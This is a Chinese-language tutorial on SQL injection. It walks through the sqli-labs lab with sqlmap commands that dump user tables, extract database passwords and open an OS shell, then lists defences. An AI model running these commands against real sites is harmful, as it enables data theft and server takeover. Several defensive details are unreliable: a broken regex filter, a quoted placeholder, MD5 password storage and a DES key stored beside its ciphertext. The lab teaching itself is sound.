SQL注入攻击与防御

一、SQL注入原理及危害

        SQL注入漏洞是指攻击者通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中，而网站应用程序未对其进行过滤，将恶意SQL语句带入数据库使恶意SQL语句得以执行，从而使攻击者通过数据库获取敏感信息或者执行其他恶意操作。

        SQL注入攻击的主要危害包括：非法读取、篡改、添加、删除数据库中的数据；数据库信息泄漏：数据库中存放的用户的隐私信息的泄露，攻击者盗取用户的各类敏感信息，获取利益。网页篡改：通过修改数据库来修改网页上的内容。数据库被恶意操作：数据库服务器被攻击，数据库的系统管理员帐户被窜改，攻击者私自添加或删除账号。网站被挂马，传播恶意软件：修改数据库一些字段的值，嵌入网马链接，进行挂马攻击；服务器被远程控制，被安装后门。经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统。破坏硬盘数据，瘫痪全系统。

二、SQL注入攻击

        在sqlilabs靶场模拟攻击环境，以sqlilabs第一关为例，首先安装好sqlilabs靶场，这里是在Windows7虚拟机上安装的。

        打开第一关的界面为http://192.168.42.128/sqli-labs-master/Less-1/

 

        在第一关的URL后面构建一对键值对？id=1

        如http://192.168.42.128/sqli-labs-master/Less-1/？id=1，则显示用户账号与密码数据

 

        在URL中输入http://192.168.42.128/sqli-labs-master/Less-1/？id=1’判断是否存在SQL注入的传参数点

         当前页面显示存在SQL注入的传参数点

        此时我们打开kali虚拟机使用里面的SQLmap工具来检测，命令为

        sqlmap -u http://192.168.42.128/sqli-labs-master/Less-1/?id=1

        由上图可知，该处存在SQL注入，还知Web服务器的操作系统为Windows，Web应用技术为PHP 5.5.38加上Apache 2.4.39,数据库为MySQL 版本大于5.5。

        再使用命令sqlmap -u http://192.168.42.128/sqli-labs-master/Less-1/?id=1 –dbs 列出当前服务器可用的数据库如果如下

        查看当前使用数据库和当前使用数据的用户命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1" --current-db --current-user

 

        当前用户为root，数据库为security

        查看当前使用的数据库中有哪些表的命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  -D security --tables

 

        Security数据库中有四张表分别是emails、referers、uagents和users。

        查看Security数据库中的users表中的列名，查看其他表名同理，命令为

sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  -D security -T users –columns

 

        User表中有三个字段分别是id，password和username

        查看表中的三个字段的数据命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"

         -D security -T users -C id,username,password --dump

 

        判断当前数据用户是不是DMA的命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --is-dba

 

        获取当前所有数据库的用户及当前数据库的用户密码命令为

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --passwords --users

 

        上面那个红色区域是数据库中的当前所有用户账号，下面这个红色区域是当前数据库用户的密码，该账号的密码为空。

        可以通过该命令运行自定义SQL语句，命令为sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --level 3 --sql-shell 和select * from users;

 

 

        通过该命令可以执行任意操作系统命令

        sqlmap -u "http://192.168.42.128/sqli-labs-master/Less-1/?id=1"  --os-shell

 

三、SQL注入防御

1、限制数据类型

        在传入参数的地方限制参数的类型，比如整型 Integer，随后加入函数判断，如is_numeric($_GET[‘id’]) 只有当get到的id为数字或者数字字符时才能执行下一步，限制了字字符自然就限制了注入，毕竟构造参数怎么可能不传入字符。但这种方法存在一定的限制，只能在特定的页面才能使用，一般大部分都是要求我们传入的字符串，但可以很大程度限制整型注入的情况。

2、正则表达式匹配传入参数（这里是PHP，其他语言也同理）

源码：

$id=$_POST['id'];

if (preg_match('/and|select|insert|insert|update|[A-Za-z]|/d+:/i', $id)) {

        die('stop hacking!');

    } else {

        echo 'good';

    }

            注释：

                        preg_match() 函数匹配传入的id值，

        / 作为正则的起始标识符

        | 代表或

        [A-Za-z] 表示匹配参数中是否存在大小写的26个字符

        /d 匹配是否存在数字

        +匹配一次或多次

        /i 不区分大小写

    例如像下面这句：

                ?id=1’ union select 1,2# 因为匹配到union select，输出 stop hacking!

3、函数过滤转移

        在PHP中最基本的就是自带的magic_quotes_gpc函数，用于处理 ’ " 符号加上/ 防止转义, 比如： ?id=1' and 1=1#  ===> ?id=1/' and 1=1#

        另外还有addslashes(),也具有相同的效果。像前面提到的**preg_match()**函数结合正则表达式或者黑名单也具有预防效果。默认情况下，PHP 指令 magic_quotes_gpc 为 on，对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes()，因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

mysql_escape_string($string)：用反斜杠转义字符串中的特殊字符，用于mysql_query()查询。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。转义的符号包括 \x00 \n \r \ ’ " \x1a

4、预编译语句

        预编译语句对现在的程序员来说基本都会去设计使用的方法，保障数据库的安全。一般来说，防御SQL注入的最佳方式就是使用预编译语句，绑定变量。

String query="select password from users where username='?' ";

        预编译：使用预编译相当于是将数据于代码分离的方式，把传入的参数绑定为一个变量，用？表示，攻击者无法改变SQL的结构，在这个例子中，即使攻击者插入类似 admin’ or 1=1# 的字符串，如果不做处理直接带入查询，那么query则变成了

query="select password from users where username='admin' or 1=1 ";

        闭合了后面的引号，从而执行了恶意代码。而预编译则是将传入的 admin’ or 1=1# 当做纯字符串的形式作为username执行，避免了上面说到的SQL语句中的拼接闭合查询语句等过程，可以理解为字符串与sql语句的关系区分开，username此时作为字符串不会被当做之前的SQL语句被带入数据库执行，避免了类似sql语句拼接、闭合等非法操作。就相当于拿着这个字符串去数据库中找有没有这个东西一样。并且使用预编译的SQL语句，SQL语句的语义不会发生改变。

        下面给个php绑定变量的事例：

        $query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";

        $stmt=$mysqli->prepare($query);

        $stmt->bind_param("sss",$val1,$val2,$val3);

        $val1="Stuttgart";

        $val2="DEU";

        $val3="Baden";

        //execute the statement

        $stmt->execute();

5、对数据库的敏感信息进行加密

        数据库中可以进行MD5算法加密插入到数据库中，像数据库中的用户的账号和密码以及涉及到用的个人隐私的。

        也可以在插入数据之前使用DES算法加密，密文加密钥组合起来，例如password字段的数据，前十六位为密文，后十六位为密钥，则password等于密文（16位）加上密钥（16位）组合起来，其他表中的字段同理。

6、管理数据库的配置权限

        使用安全的账号和密码策略，SQL Server具有一个超级用户账号，其用户名称是: SA，该用户名不能被修改也不能被删除，所以，我们必须对这个账号进行最强的保护。不在数据库应用中直接使用SA账号，新建一个(而且只建-一个)与SA一样权限的超级用户来管理数据库，其它用户根据实际需要分配仅仅能够满足应用要求的权限，不要给予多余的权限，所有用户(特别是超级用户)都要使用复杂的密码，同时养成定期修改密码的好习惯。

        使用Windows 身份验证模式，SQL Server的认证模式有Windows身份认证和混合身份认证两种。应该使用Windows 身份验证模式，因为它通过限制对Microsoft Windows 用户和域用户账户的连接，保护SQLServer免受大部分Internet 的工具的侵害，而且，服务器也可以从Windows 安全增强机制中获益。这样就可以使数据库免受大部分Internet的工具的侵害。